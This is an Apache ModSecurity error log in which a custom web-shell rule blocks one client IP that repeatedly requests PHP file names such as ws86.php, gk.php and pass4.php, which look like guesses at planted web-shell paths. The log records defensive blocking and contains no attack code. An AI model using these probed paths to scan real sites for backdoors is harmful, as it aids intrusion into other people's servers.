[Sun Apr 19 23:38:16.929437 2026] [:error] [pid 15760:tid 15791] [client 20.215.51.14:7164] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeT26PSdD_XHQMJ_ISt2YQAAAdc"]
[Sun Apr 19 23:38:17.662763 2026] [:error] [pid 15760:tid 15778] [client 20.215.51.14:6969] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/assacc.php"] [unique_id "aeT26fSdD_XHQMJ_ISt2ZAAAAco"]
[Sun Apr 19 23:38:18.374467 2026] [:error] [pid 15760:tid 15790] [client 20.215.51.14:6923] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aeT26vSdD_XHQMJ_ISt2aAAAAdY"]
[Sun Apr 19 23:38:19.129177 2026] [:error] [pid 47773:tid 47834] [client 20.215.51.14:7095] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aeT26-iBHdnCJDuPq9BgYgAAAFI"]
[Sun Apr 19 23:38:19.778116 2026] [:error] [pid 15764:tid 15846] [client 20.215.51.14:6978] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aeT262LL_sqdSHoVp-RJ1wAAAlQ"]
[Sun Apr 19 23:38:20.553028 2026] [:error] [pid 47772:tid 47792] [client 20.215.51.14:6954] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ws86.php"] [unique_id "aeT27Ic0L16cb4smAz_nCwAAAAM"]
[Sun Apr 19 23:38:21.680331 2026] [:error] [pid 47886:tid 47910] [client 20.215.51.14:6922] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "aeT27USe8yiyuPrD7yOLwgAAANY"]
[Sun Apr 19 23:38:22.460559 2026] [:error] [pid 15764:tid 15828] [client 20.215.51.14:6850] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "aeT27mLL_sqdSHoVp-RJ4AAAAkI"]
[Sun Apr 19 23:38:23.239935 2026] [:error] [pid 15764:tid 15851] [client 20.215.51.14:7157] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "aeT272LL_sqdSHoVp-RJ4gAAAlg"]
[Sun Apr 19 23:38:24.289129 2026] [:error] [pid 15764:tid 15843] [client 20.215.51.14:6931] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/gk.php"] [unique_id "aeT28GLL_sqdSHoVp-RJ5wAAAlE"]
[Sun Apr 19 23:38:25.090506 2026] [:error] [pid 15694:tid 15746] [client 20.215.51.14:6944] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "aeT28bimB-jol1fwqAod1gAAAZQ"]
[Sun Apr 19 23:38:25.889962 2026] [:error] [pid 15760:tid 15769] [client 20.215.51.14:7048] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "aeT28fSdD_XHQMJ_ISt2dQAAAcE"]
[Sun Apr 19 23:38:26.546724 2026] [:error] [pid 47773:tid 47823] [client 20.215.51.14:7127] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/bootstrap.php"] [unique_id "aeT28uiBHdnCJDuPq9BgaAAAAEc"]
[Sun Apr 19 23:39:14.030012 2026] [:error] [pid 15760:tid 15774] [client 20.215.51.14:7075] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeT3IvSdD_XHQMJ_ISt27gAAAcY"]
[Sun Apr 19 23:39:15.358140 2026] [:error] [pid 15763:tid 15818] [client 20.215.51.14:6996] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeT3I7MXv1Y1THOoxaAeFQAAAhY"]
[Sun Apr 19 23:39:16.769375 2026] [:error] [pid 15765:tid 15862] [client 20.215.51.14:7101] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeT3JPRqinw-W5EwQ74OvwAAAok"]
[Sun Apr 19 23:39:18.120119 2026] [:error] [pid 15764:tid 15833] [client 20.215.51.14:6919] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dass.php"] [unique_id "aeT3JmLL_sqdSHoVp-RKeQAAAkc"]
[Sun Apr 19 23:39:19.625640 2026] [:error] [pid 15764:tid 15826] [client 20.215.51.14:7017] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeT3J2LL_sqdSHoVp-RKfwAAAkA"]
[Sun Apr 19 23:39:21.176738 2026] [:error] [pid 15764:tid 15844] [client 20.215.51.14:7153] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeT3KWLL_sqdSHoVp-RKgwAAAlI"]
[Sun Apr 19 23:39:22.335896 2026] [:error] [pid 15764:tid 15850] [client 20.215.51.14:6928] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeT3KmLL_sqdSHoVp-RKiAAAAlc"]
[Sun Apr 19 23:39:23.690765 2026] [:error] [pid 15764:tid 15845] [client 20.215.51.14:6988] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xxivicLhot.php"] [unique_id "aeT3K2LL_sqdSHoVp-RKjwAAAlM"]
[Sun Apr 19 23:39:29.429502 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:7076] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/junvh.php"] [unique_id "aeT3MfSdD_XHQMJ_ISt2_gAAAck"]
[Sun Apr 19 23:39:30.290935 2026] [:error] [pid 15760:tid 15790] [client 20.215.51.14:7118] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/junvh.php"] [unique_id "aeT3MvSdD_XHQMJ_ISt3AQAAAdY"]
[Sun Apr 19 23:39:31.215615 2026] [:error] [pid 47772:tid 47803] [client 20.215.51.14:6993] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/junvh.php"] [unique_id "aeT3M4c0L16cb4smAz_njAAAAA4"]
[Sun Apr 19 23:39:32.114034 2026] [:error] [pid 47772:tid 47795] [client 20.215.51.14:7088] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/junvh.php"] [unique_id "aeT3NIc0L16cb4smAz_njgAAAAY"]
[Sun Apr 19 23:39:33.001691 2026] [:error] [pid 15764:tid 15841] [client 20.215.51.14:7025] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeT3NWLL_sqdSHoVp-RKnwAAAk8"]
[Sun Apr 19 23:39:33.868677 2026] [:error] [pid 15764:tid 15833] [client 20.215.51.14:7046] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeT3NWLL_sqdSHoVp-RKpgAAAkc"]
[Sun Apr 19 23:39:35.094544 2026] [:error] [pid 15694:tid 15746] [client 20.215.51.14:6929] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeT3N7imB-jol1fwqAod6QAAAZQ"]
[Sun Apr 19 23:39:36.663350 2026] [:error] [pid 15763:tid 15819] [client 20.215.51.14:7018] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rip.php"] [unique_id "aeT3OLMXv1Y1THOoxaAeLQAAAhc"]
[Sun Apr 19 23:39:37.656993 2026] [:error] [pid 15760:tid 15787] [client 20.215.51.14:7148] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeT3OfSdD_XHQMJ_ISt3DAAAAdM"]
[Sun Apr 19 23:39:38.693439 2026] [:error] [pid 15764:tid 15841] [client 20.215.51.14:6942] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeT3OmLL_sqdSHoVp-RKrgAAAk8"]
[Sun Apr 19 23:39:39.827750 2026] [:error] [pid 47772:tid 47803] [client 20.215.51.14:7129] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeT3O4c0L16cb4smAz_nmQAAAA4"]
[Sun Apr 19 23:39:40.667759 2026] [:error] [pid 15764:tid 15828] [client 20.215.51.14:7029] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/rithin.php"] [unique_id "aeT3PGLL_sqdSHoVp-RKugAAAkI"]
[Sun Apr 19 23:39:41.864524 2026] [:error] [pid 15764:tid 15846] [client 20.215.51.14:6964] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "aeT3PWLL_sqdSHoVp-RKvwAAAlQ"]
[Sun Apr 19 23:39:42.908153 2026] [:error] [pid 15765:tid 15869] [client 20.215.51.14:7098] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "aeT3PvRqinw-W5EwQ74OyQAAApA"]
[Sun Apr 19 23:39:43.922121 2026] [:error] [pid 15763:tid 15812] [client 20.215.51.14:6998] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "aeT3P7MXv1Y1THOoxaAeNgAAAhA"]
[Sun Apr 19 23:39:44.838995 2026] [:error] [pid 15763:tid 15819] [client 20.215.51.14:7154] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fetch.php"] [unique_id "aeT3QLMXv1Y1THOoxaAeOAAAAhc"]
[Sun Apr 19 23:39:45.748346 2026] [:error] [pid 15764:tid 15842] [client 20.215.51.14:6943] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kbfr.php"] [unique_id "aeT3QWLL_sqdSHoVp-RKwAAAAlA"]
[Sun Apr 19 23:39:46.740635 2026] [:error] [pid 15765:tid 15852] [client 20.215.51.14:7033] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kbfr.php"] [unique_id "aeT3QvRqinw-W5EwQ74OzQAAAoA"]
[Sun Apr 19 23:39:47.882782 2026] [:error] [pid 15764:tid 15827] [client 20.215.51.14:6953] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kbfr.php"] [unique_id "aeT3Q2LL_sqdSHoVp-RKyAAAAkE"]
[Sun Apr 19 23:39:48.962592 2026] [:error] [pid 15763:tid 15800] [client 20.215.51.14:7074] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/kbfr.php"] [unique_id "aeT3RLMXv1Y1THOoxaAeOwAAAgQ"]
[Sun Apr 19 23:39:49.832722 2026] [:error] [pid 47886:tid 47893] [client 20.215.51.14:7028] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oco.php"] [unique_id "aeT3RUSe8yiyuPrD7yOL8AAAAMU"]
[Sun Apr 19 23:39:51.581349 2026] [:error] [pid 15764:tid 15843] [client 20.215.51.14:7086] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oco.php"] [unique_id "aeT3R2LL_sqdSHoVp-RK1QAAAlE"]
[Sun Apr 19 23:39:53.023436 2026] [:error] [pid 15764:tid 15835] [client 20.215.51.14:7091] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oco.php"] [unique_id "aeT3SWLL_sqdSHoVp-RK3wAAAkk"]
[Sun Apr 19 23:39:54.221120 2026] [:error] [pid 47886:tid 47908] [client 20.215.51.14:6930] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/oco.php"] [unique_id "aeT3SkSe8yiyuPrD7yOL8wAAANQ"]
[Sun Apr 19 23:39:55.708583 2026] [:error] [pid 47772:tid 47798] [client 20.215.51.14:7133] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aeT3S4c0L16cb4smAz_npAAAAAk"]
[Sun Apr 19 23:39:56.798390 2026] [:error] [pid 15760:tid 15791] [client 20.215.51.14:7032] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aeT3TPSdD_XHQMJ_ISt3HgAAAdc"]
[Sun Apr 19 23:39:57.884844 2026] [:error] [pid 15694:tid 15744] [client 20.215.51.14:7097] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aeT3TbimB-jol1fwqAod8QAAAZI"]
[Sun Apr 19 23:39:59.260159 2026] [:error] [pid 47886:tid 47897] [client 20.215.51.14:7123] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pass4.php"] [unique_id "aeT3T0Se8yiyuPrD7yOL_AAAAMk"]
[Sun Apr 19 23:40:00.411493 2026] [:error] [pid 15760:tid 15773] [client 20.215.51.14:7050] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/azpaq.php"] [unique_id "aeT3UPSdD_XHQMJ_ISt3IQAAAcU"]
[Sun Apr 19 23:40:02.288759 2026] [:error] [pid 15694:tid 15736] [client 20.215.51.14:7034] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/azpaq.php"] [unique_id "aeT3UrimB-jol1fwqAod8wAAAYo"]
[Sun Apr 19 23:40:03.883274 2026] [:error] [pid 15760:tid 15770] [client 20.215.51.14:6986] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/azpaq.php"] [unique_id "aeT3U_SdD_XHQMJ_ISt3JgAAAcI"]
[Sun Apr 19 23:40:05.350110 2026] [:error] [pid 47773:tid 47829] [client 20.215.51.14:7139] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/azpaq.php"] [unique_id "aeT3VeiBHdnCJDuPq9BgqgAAAE0"]
[Sun Apr 19 23:40:06.790878 2026] [:error] [pid 15760:tid 15777] [client 20.215.51.14:6976] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fssxwoyh.php"] [unique_id "aeT3VvSdD_XHQMJ_ISt3LgAAAck"]
[Sun Apr 19 23:40:08.422807 2026] [:error] [pid 15760:tid 15786] [client 20.215.51.14:7016] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fssxwoyh.php"] [unique_id "aeT3WPSdD_XHQMJ_ISt3MAAAAdI"]
[Sun Apr 19 23:40:09.441082 2026] [:error] [pid 47773:tid 47821] [client 20.215.51.14:7155] [client 20.215.51.14] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/fssxwoyh.php"] [unique_id "aeT3WeiBHdnCJDuPq9BgswAAAEU"]
